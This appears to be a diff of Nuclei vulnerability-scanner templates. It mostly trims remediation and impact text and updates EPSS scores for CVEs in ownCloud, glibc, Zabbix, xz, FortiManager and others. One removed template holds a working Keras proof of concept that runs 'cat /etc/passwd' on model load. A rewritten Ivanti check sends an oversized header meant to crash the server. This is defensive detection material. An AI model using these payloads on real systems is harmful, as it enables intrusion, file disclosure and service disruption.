# digest: 4a0a00473045022100e6eab6f55170064a588506282efa987cb311cb8e2f791c1066d1d0d643b71b76022068fc331e222d13fd82f83dea7d76fa1aeb431eea1a0f9f415a3eb6917ef1e6a9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
An issue was discovered in ownCloud owncloud/core before 10.13.1. An attacker can access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. This occurs because pre-signed URLs can be accepted even when no signing-key is configured for the owner of the files. The earliest affected version is 10.6.0.
|
||||
remediation: |
|
||||
Upgrade OwnCloud to version 10.13.1 or later that properly validates signing keys and authentication in the WebDAV API.
|
||||
impact: |
|
||||
Attackers can access, modify, or delete any files without authentication, leading to data breach and integrity issues.
|
||||
reference:
|
||||
- https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/
|
||||
- https://github.com/0xfed/ownedcloud
|
||||
@@ -21,8 +17,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2023-49105
|
||||
cwe-id: CWE-287
|
||||
epss-score: 0.11074
|
||||
epss-percentile: 0.95425
|
||||
epss-score: 0.86244
|
||||
epss-percentile: 0.99356
|
||||
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 2
|
||||
@@ -94,4 +90,4 @@ http:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Username => "+ username'
|
||||
# digest: 490a00463044022077a8891ef5b28dbc80a1b7c5eec69c06ad92e725d979c412ed2df4ab0fdfab0e02202e5e1047f88aafe9d6a240a1a8e9bdfd88559c85d95126f3e1a92ea0e5ef6f36:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100cf2286e2b9e4ad6a4e7a1300d561d89e3de6c89744d3b4d2e1fb5fb3a21e657602201a70a5fb1b750c545c39bb3c3cdb175a2d69af7540d635a926f13d4e1fbab54b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.
|
||||
remediation: |
|
||||
Upgrade GNU C Library (glibc) to a version later than affected releases that fixes the buffer overflow in the dynamic loader's GLIBC_TUNABLES environment variable processing.
|
||||
impact: |
|
||||
Local attackers can execute arbitrary code with elevated privileges, potentially leading to full system compromise.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2023-4911
|
||||
- https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
|
||||
@@ -21,8 +17,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-4911
|
||||
cwe-id: CWE-787,CWE-122
|
||||
epss-score: 0.81422
|
||||
epss-percentile: 0.99597
|
||||
epss-score: 0.78409
|
||||
epss-percentile: 0.98978
|
||||
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
@@ -43,4 +39,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "139" # Segmentation Fault Exit Code
|
||||
# digest: 4b0a00483046022100974a972aeab957e821d4f35de435d4036eea81defcb7c21aa1893b14b26cde87022100ec00d93a0b2330e01e1671a9e0ac7e30d5be1f932dca28f8b2e973ba95b25205:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a004830460221009b5dc3be045aba05dec88023cb7dddc24188b00eec844cfa3909377e9d6317eb022100e0078981f9b353e41cf8e5e46fe4c1e421ddbbb0038b65ead953e45bb4b81381:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
A heap-based buffer overflow was found in the __vsyslog_internal function of the glibc library. This function is called by the syslog and vsyslog functions. This issue occurs when the openlog function was not called, or called with the ident argument set to NULL, and the program name (the basename of argv[0]) is bigger than 1024 bytes, resulting in an application crash or local privilege escalation. This issue affects glibc 2.36 and newer.
|
||||
remediation: |
|
||||
Upgrade glibc to version 2.37 or later that properly handles program name buffer sizes in __vsyslog_internal.
|
||||
impact: |
|
||||
Local attackers can cause application crashes or escalate privileges through buffer overflow exploitation.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2023-6246
|
||||
- https://www.qualys.com/2024/01/30/cve-2023-6246/syslog.txt
|
||||
@@ -21,8 +17,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-6246
|
||||
cwe-id: CWE-787,CWE-122
|
||||
epss-score: 0.04794
|
||||
epss-percentile: 0.90927
|
||||
epss-score: 0.25078
|
||||
epss-percentile: 0.95931
|
||||
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
@@ -43,4 +39,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "127" # Segmentation Fault Exit Code
|
||||
# digest: 4a0a0047304502204ac6349a62f2aceee66e1f2d45ffc75b9356668dd58af58a01c058100711277c022100d078a4663c7adfcdb2814490ecdef638b84064482f1fbdce6ce638ede1023374:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450220707af88658762f3e5a34c0b6adc5c8761db5b3a68d793de3ce1583c5e2334dbc022100aa3e773dd28b5a80f46c9e117e3cff530f72279898a97cf61d0f542ddad6451d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
Improper neutralization of special elements used in a command ('Command Injection') vulnerability in Task Manager component in Synology BeePhotos before 1.0.2-10026 and 1.1.0-10053 and Synology Photos before 1.6.2-0720 and 1.7.0-0795 allows remote attackers to execute arbitrary code via unspecified vectors.
|
||||
remediation: |
|
||||
Upgrade Synology BeePhotos to version 1.0.2-10026 or 1.1.0-10053 or later, and Synology Photos to version 1.6.2-0720 or 1.7.0-0795 or later.
|
||||
impact: |
|
||||
Remote attackers can execute arbitrary code on the system, potentially leading to full system compromise.
|
||||
reference:
|
||||
- https://www.synology.com/en-us/security/advisory/Synology_SA_24_18
|
||||
classification:
|
||||
@@ -17,8 +13,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-10443
|
||||
cwe-id: CWE-77
|
||||
epss-score: 0.2838
|
||||
epss-percentile: 0.97905
|
||||
epss-score: 0.69676
|
||||
epss-percentile: 0.98585
|
||||
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -58,4 +54,4 @@ code:
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "dns"
|
||||
# digest: 490a0046304402206cc273c523fa15e69a2e23885599e0989c13f38d9c4d1d9347bbb536ec76572502206d1beba48186b6e5d641be4eb98a383404e21d2a8f01dde8273cecdbd1d0f4f4:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450221008b5ac203a17c5ac2495444e747470435d1f73ab86119dbac864498facc0299ba0220706f90afe3ebad35664001b827141b2c9308fbf3c09d879a0fe9232a2602ff14:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
A critical vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) products which can allow an unauthenticated attacker to inject commands that are run as a site user.
|
||||
remediation: |
|
||||
Apply the security patches provided by BeyondTrust for Privileged Remote Access and Remote Support products and restrict network access to trusted sources.
|
||||
impact: |
|
||||
Attackers can execute arbitrary commands as a site user, potentially leading to full system compromise or data breach.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2024-12356
|
||||
classification:
|
||||
@@ -17,8 +13,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-12356
|
||||
cwe-id: CWE-77
|
||||
epss-score: 0.87991
|
||||
epss-percentile: 0.99748
|
||||
epss-score: 0.93687
|
||||
epss-percentile: 0.99833
|
||||
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: beyondtrust
|
||||
@@ -41,4 +37,4 @@ code:
|
||||
words:
|
||||
- "0 success"
|
||||
- "1 try again later"
|
||||
# digest: 4a0a0047304502207335bc6bd15d8befe228d11c549779189b35eebabf16248e107d94bd258a1ef4022100d28326b05d91a4a7203cca47398c7cc319ee6234d02affae082bdf34d2f4cbc1:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100bcb70958bd42473e557963672c2efd5866879d3fd84e491b51e19b39e53ac0b6022100cec4f199e93652df8d28806d7fa5ebf4e7eee2e68522774ed5ad2fda01bf9d05:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
The Zabbix server can execute commands for configured scripts. After executing a command, an audit entry is added to the "Audit Log". Due to the "clientip" field not being sanitized, it is possible to inject SQL into "clientip" and exploit a time-based blind SQL injection vulnerability.
|
||||
impact: |
|
||||
Attackers can inject SQL, leading to data disclosure, data tampering, or remote code execution.
|
||||
remediation: |
|
||||
Fixed in versions 6.0.28rc1, 6.4.13rc1, 7.0.0beta2
|
||||
reference:
|
||||
@@ -21,8 +19,8 @@ info:
|
||||
cvss-score: 9.1
|
||||
cve-id: CVE-2024-22120
|
||||
cwe-id: CWE-20
|
||||
epss-score: 0.76618
|
||||
epss-percentile: 0.99489
|
||||
epss-score: 0.93259
|
||||
epss-percentile: 0.99793
|
||||
metadata:
|
||||
max-request: 1
|
||||
vendor: zabbix
|
||||
@@ -73,4 +71,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "Vulnerable to CVE-2024-22120"
|
||||
# digest: 4b0a004830460221008b29a9fe30690717466ffc00a0b0d66fe6f3709499465ad80fe5c69eb9e1b826022100e3098b4a6bb531081117f18cd052fa31f0a9f216333d63f14318e36602376ab8:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100c29b03d6ec221f62966546d687c9c8c86e41f5d46f37e8896f3473a10d8b08b3022100867de1666d89e4ae22d98a7a0fd65b75a1716a312aaec979b2fabcd6b2ae1cf9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,10 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0. Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, which is then used to modify specific functions in the liblzma code. This results in a modified liblzma library that can be used by any software linked against this library, intercepting and modifying the data interaction with this library.
|
||||
remediation: |
|
||||
Downgrade XZ Utils to version 5.4.x or earlier that does not contain the malicious backdoor code.
|
||||
impact: |
|
||||
Attackers can intercept and modify data processed by liblzma, leading to data tampering and potential data integrity breaches.
|
||||
reference:
|
||||
- https://www.openwall.com/lists/oss-security/2024/03/29/4
|
||||
- https://access.redhat.com/security/cve/CVE-2024-3094
|
||||
@@ -21,8 +17,8 @@ info:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2024-3094
|
||||
cwe-id: CWE-506
|
||||
epss-score: 0.85974
|
||||
epss-percentile: 0.99706
|
||||
epss-score: 0.85778
|
||||
epss-percentile: 0.99331
|
||||
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -63,4 +59,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 490a00463044022030ced0c402beffcc85a5fbba72b73f5b9b3583703ff0c16759f7db3998616900022015a33b9a27245f0880b81138743b1f2caff07655dfe812b0627cc92fb531fe0b:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502210092d5ac481a41f2bce742d30e9a53e6cfcce47b99b02f4291b382802664d6f8c80220616412b2e3eab8e90f86485850f7ca389e9ac0b0f1a890e827325eb9677048d9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,16 +6,12 @@ info:
|
||||
severity: high
|
||||
description: |
|
||||
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
|
||||
impact: |
|
||||
Attackers can cause denial of service by sending heavily nested lists to sqlparse.parse(), triggering RecursionError and making the application unresponsive.
|
||||
remediation: |
|
||||
Upgrade sqlparse to a version later than the affected releases that implements recursion depth limits.
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2024-4340
|
||||
epss-score: 0.0321
|
||||
epss-percentile: 0.86729
|
||||
epss-score: 0.16207
|
||||
epss-percentile: 0.94529
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
|
||||
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
|
||||
@@ -33,4 +29,4 @@ code:
|
||||
part: stderr
|
||||
words:
|
||||
- "RecursionError: maximum recursion depth exceeded"
|
||||
# digest: 4a0a00473045022100fed0673a1f3b50903e113b8716e0b6fe34c4ffc20cd723ee0ea819d0ec3372ca022079710c0ccfb53ecd4d6c5c506a4ebe20567171ec7e858dc5bb3a0686c558ea83:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a004630440220549dc564dc5471bdf1dc63334bf0ff6ef0f2c050664a3b06189b22683d31875f02204d49ed2a7bd8a9158503467d45b113fb0e8b20c98a09747235c176e23a8ef696:922c64590222798bb761d5b6d8e72950
|
||||
@@ -20,8 +20,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-45409
|
||||
cwe-id: CWE-347
|
||||
epss-score: 0.10684
|
||||
epss-percentile: 0.95307
|
||||
epss-score: 0.39163
|
||||
epss-percentile: 0.97099
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.title:"GitLab"
|
||||
@@ -123,4 +123,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- _gitlab_session
|
||||
# digest: 4a0a00473045022100d164516562ef91aa565202f3c8a739bb3405a70b56d81d8f9aec8310e9b6753d022069e0be3440798ac9da1c9d4e448785ee648d095dc529890a3f1c95085d910833:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402205e030f7d186f18e2ddf5cd9281a48cb0af2d6ac63498b37cb4a9ce899f84a59e022005a03e6ea351d60b08436740f6db2daf9e303d0323c278f564ab1230e9a678f2:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
|
||||
impact: |
|
||||
Unauthenticated attackers can execute arbitrary code or commands through specially crafted requests to the fgfmd daemon, achieving complete FortiManager server compromise.
|
||||
remediation: |
|
||||
Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
|
||||
reference:
|
||||
@@ -19,9 +17,9 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-47575
|
||||
cwe-id: CWE-306
|
||||
epss-score: 0.94761
|
||||
epss-percentile: 0.99848
|
||||
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
|
||||
epss-score: 0.93874
|
||||
epss-percentile: 0.99861
|
||||
cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
|
||||
tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
|
||||
|
||||
variables:
|
||||
@@ -147,4 +145,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4b0a00483046022100ec14e45bc6bc3f9a31bebf7c7e91cff5df5cb9159169aa0226e3d067fc01f1e2022100c71d9207b4a6d950032c7216f57a8e2347823a4f8aad944aa50de2e9b4fd6978:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,8 +6,6 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
|
||||
impact: |
|
||||
Unauthenticated attackers with knowledge of the APP_KEY can achieve remote code execution through Laravel cookie deserialization on InvoiceShelf servers.
|
||||
remediation: |
|
||||
Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value
|
||||
reference:
|
||||
@@ -19,8 +17,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-55556
|
||||
cwe-id: CWE-502
|
||||
epss-score: 0.44126
|
||||
epss-percentile: 0.98613
|
||||
epss-score: 0.84379
|
||||
epss-percentile: 0.99271
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 2
|
||||
@@ -195,4 +193,4 @@ http:
|
||||
- type: status
|
||||
status:
|
||||
- 500
|
||||
# digest: 490a0046304402200f72f328022c4fe2a068f01cce325b0953ad27ec809aa6c8968eab23eb6f1cd8022027ce3d53e6fc01b452911d3c2e003fea9dea3f16bc5422e5dcf485f34bf0d8c7:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100c33a7e4170efd830fed04dc81dff116c0d6de6a7a04013690afafee5aa4dd7eb022016a273dda70ccb4e18af5f17d14d297c9dbcfbe9981b3789e6ea9b4eafeab7a9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -21,8 +21,8 @@ info:
|
||||
cvss-score: 6.8
|
||||
cve-id: CVE-2024-56331
|
||||
cwe-id: CWE-22
|
||||
epss-score: 0.01829
|
||||
epss-percentile: 0.76403
|
||||
epss-score: 0.41406
|
||||
epss-percentile: 0.97235
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.title:"Uptime Kuma"
|
||||
@@ -124,4 +124,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
|
||||
# digest: 4a0a00473045022017c244d0686a5fd3913cea09bd5e260dd05b2078feac1794fdc194959ca0b947022100e62a7070c0d628a5c990becf8bc8cd87fe7f3bb8a1d5ef4d7a0c56e01012ca14:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502204c5b24fda7a91e193ed794e32f38673f924ed17e393ebcb8e6e0e9351a6cde85022100860aa6411a18b6baec11fa99823a8fb2c3ed558adab797c067b1fe8ff009577e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -6,16 +6,12 @@ info:
|
||||
severity: critical
|
||||
description: |
|
||||
An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.
|
||||
impact: |
|
||||
Unauthenticated attackers can bypass SAML SSO authentication through crafted SAML responses, enabling unauthorized user provisioning and instance access on GitHub Enterprise Server.
|
||||
remediation: |
|
||||
Upgrade GitHub Enterprise Server to version 3.11.16, 3.12.10, 3.13.5, or 3.14.2 or later that properly verifies cryptographic signatures.
|
||||
reference:
|
||||
- https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
|
||||
- https://github.com/advisories/GHSA-g83h-4727-5rpv
|
||||
classification:
|
||||
epss-score: 0.22443
|
||||
epss-percentile: 0.97428
|
||||
epss-score: 0.36115
|
||||
epss-percentile: 0.96904
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: title:"GitHub Enterprise"
|
||||
@@ -192,4 +188,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- user_session
|
||||
# digest: 480a00453043021f669f13616ae3df10c79ef7d0b4a9109c27719c2dde61c1d73616e82248a980022008ff9e9535c09b6344aafa583a72fc08fbb3f29c59f84a843d617c6ea8adaac2:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a0046304402207d41ce6b6af9c3b0133e15c33183fdce00ba09f874633dbea4f3cb29234c64d8022004ad19707190bb70f9ff118286b04f22a704b252594a598f0b96850afa09a55d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,80 +0,0 @@
|
||||
id: CVE-2025-1550
|
||||
|
||||
info:
|
||||
name: Keras Model.load_model - Arbitrary Code Execution
|
||||
author: nukunga[seunghyeonJeon]
|
||||
severity: critical
|
||||
description: |
|
||||
The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
|
||||
impact: |
|
||||
Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
|
||||
remediation: |
|
||||
Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2025-1550
|
||||
- https://github.com/keras-team/keras/pull/20751
|
||||
- https://towerofhanoi.it/writeups/cve-2025-1550/
|
||||
classification:
|
||||
epss-score: 0.02803
|
||||
epss-percentile: 0.84871
|
||||
metadata:
|
||||
max-request: 1
|
||||
tags: cve,cve2025,code,keras,rce,ml
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- py
|
||||
- python3
|
||||
|
||||
source: |
|
||||
import os
|
||||
import sys
|
||||
|
||||
try:
|
||||
import tensorflow as tf
|
||||
from tensorflow.keras.models import load_model
|
||||
from tensorflow.keras.layers import Lambda, Input
|
||||
from tensorflow.keras.models import Model
|
||||
import numpy as np
|
||||
except ImportError:
|
||||
sys.exit(1)
|
||||
|
||||
def create_malicious_model():
|
||||
def malicious_function(x):
|
||||
result = os.popen("cat /etc/passwd").read()
|
||||
print(result)
|
||||
return x
|
||||
|
||||
input_layer = Input(shape=(1,))
|
||||
lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer)
|
||||
model = Model(inputs=input_layer, outputs=lambda_layer)
|
||||
return model
|
||||
|
||||
def exploit_lambda_layer():
|
||||
model_path = "/tmp/malicious_model.keras"
|
||||
try:
|
||||
model = create_malicious_model()
|
||||
model.save(model_path)
|
||||
del model
|
||||
|
||||
loaded_model = load_model(model_path)
|
||||
test_input = np.array([[1.0]])
|
||||
loaded_model.predict(test_input, verbose=0)
|
||||
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
finally:
|
||||
if os.path.exists(model_path):
|
||||
os.remove(model_path)
|
||||
|
||||
exploit_lambda_layer()
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
part: response
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
# digest: 490a0046304402207665559feb56d5eac167136e6bd4e5871b2131f043e42c612a7c2128789d914e02202dcb32d86638177c6a3fcd7e8f440e75910fffd8f89a5ab0cb94c003fe236048:922c64590222798bb761d5b6d8e72950
|
||||
@@ -21,8 +21,8 @@ info:
|
||||
cvss-score: 9.0
|
||||
cve-id: CVE-2025-22457
|
||||
cwe-id: CWE-121,CWE-787
|
||||
epss-score: 0.99979
|
||||
epss-percentile: 0.9998
|
||||
epss-score: 0.76863
|
||||
epss-percentile: 0.98898
|
||||
cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: ivanti
|
||||
@@ -37,18 +37,20 @@ variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
|
||||
flow: http(1) && code(1)
|
||||
flow: http () && code()
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
- "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers:
|
||||
- type: dsl
|
||||
internal: true
|
||||
dsl:
|
||||
- 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
|
||||
- 'contains(body, "Ivanti Connect Secure")'
|
||||
- 'status_code == 200'
|
||||
condition: and
|
||||
|
||||
@@ -61,98 +63,60 @@ code:
|
||||
import os
|
||||
import time
|
||||
import requests
|
||||
import re
|
||||
|
||||
requests.packages.urllib3.disable_warnings()
|
||||
|
||||
PATHS = [
|
||||
"/dana-na/auth/url_default/welcome.cgi",
|
||||
"/dana-na/setup/psaldownload.cgi",
|
||||
]
|
||||
|
||||
IVANTI_MARKERS = [
|
||||
"Ivanti Connect Secure",
|
||||
"Pulse Secure",
|
||||
"DSLaunchURL",
|
||||
"welcome.cgi",
|
||||
"dana-na",
|
||||
]
|
||||
|
||||
TIMEOUT_NORMAL = 5
|
||||
TIMEOUT_PAYLOAD = 10
|
||||
|
||||
def safe_request(method, url, headers=None, timeout=5):
|
||||
try:
|
||||
if method == "GET":
|
||||
return requests.get(url, headers=headers, timeout=timeout, verify=False)
|
||||
elif method == "POST":
|
||||
return requests.post(url, headers=headers, timeout=timeout, verify=False)
|
||||
except requests.exceptions.RequestException:
|
||||
return None
|
||||
TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
|
||||
TIMEOUT = 10
|
||||
|
||||
class IvantiExploit:
|
||||
def __init__(self, host, port):
|
||||
self.host = host.rstrip("/")
|
||||
self.port = port
|
||||
|
||||
def build_url(self, path):
|
||||
def check_vuln(self):
|
||||
host = self.host
|
||||
if not host.startswith("http://") and not host.startswith("https://"):
|
||||
host = f"https://{host}"
|
||||
return f"{host}:{self.port}{path}"
|
||||
|
||||
def is_ivanti(self, response_text):
|
||||
for marker in IVANTI_MARKERS:
|
||||
if marker in response_text:
|
||||
return True
|
||||
return False
|
||||
url = f"{host}:{self.port}{TARGET_PATH}"
|
||||
|
||||
def check_vuln(self):
|
||||
for path in PATHS:
|
||||
url = self.build_url(path)
|
||||
print(f"Testing {url}")
|
||||
|
||||
# Step 1: Pre-check - must be reachable, return 200, and be Ivanti
|
||||
r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
|
||||
if not r1 or r1.status_code != 200:
|
||||
continue
|
||||
#1 Pre-check: Check if target is reachable and status is 200.
|
||||
try:
|
||||
r1 = requests.get(url, timeout=TIMEOUT, verify=False)
|
||||
except requests.RequestException:
|
||||
r1 = None
|
||||
if not r1 or r1.status_code != 200:
|
||||
print("Pre-check failed because target is not reachable or status is not 200.")
|
||||
return False
|
||||
|
||||
if not self.is_ivanti(r1.text):
|
||||
print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
|
||||
return False
|
||||
print("Pre-check successful.")
|
||||
|
||||
print(f"Ivanti fingerprint confirmed on {url}")
|
||||
#2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
|
||||
|
||||
# Step 2: Send crash payload - POST with oversized X-Forwarded-For
|
||||
# A vulnerable server will CRASH (no response / timeout)
|
||||
# A patched or non-vulnerable server will respond normally
|
||||
payload_headers = {
|
||||
"User-Agent": "Mozilla/5.0",
|
||||
"X-Forwarded-For": "1" * 2048,
|
||||
}
|
||||
r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)
|
||||
payload_header = {"X-Forwarded-For": "1"*2048}
|
||||
try:
|
||||
r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
|
||||
except requests.RequestException:
|
||||
r2 = None
|
||||
if r2:
|
||||
print("Payload is not working.")
|
||||
return False
|
||||
else:
|
||||
print("Payload is working.")
|
||||
time.sleep(1)
|
||||
|
||||
if r2 is not None:
|
||||
# Server responded normally = NOT crashed = NOT vulnerable
|
||||
print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
|
||||
continue
|
||||
#3 Follow-up: Check if target is still reachable after payload.
|
||||
|
||||
# r2 is None = no response = potential crash
|
||||
print("No response to payload (potential crash detected). Verifying...")
|
||||
try:
|
||||
r3 = requests.get(url, timeout=TIMEOUT, verify=False)
|
||||
except requests.RequestException:
|
||||
r3 = None
|
||||
if r3.status_code == 200:
|
||||
print(f"VULNERABLE: {self.host}:{self.port}")
|
||||
return True
|
||||
|
||||
# Step 3: Follow-up check - server should recover and return 200
|
||||
# Ivanti's web process auto-restarts after crash
|
||||
time.sleep(2)
|
||||
r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
|
||||
|
||||
if r3 is not None and r3.status_code == 200:
|
||||
print(f"VULNERABLE: {self.host}:{self.port}{path}")
|
||||
return True
|
||||
else:
|
||||
status = r3.status_code if r3 else "no response"
|
||||
print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
|
||||
continue
|
||||
|
||||
print("Target appears safe.")
|
||||
print("Target seems safe")
|
||||
return False
|
||||
|
||||
if __name__ == "__main__":
|
||||
@@ -164,4 +128,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
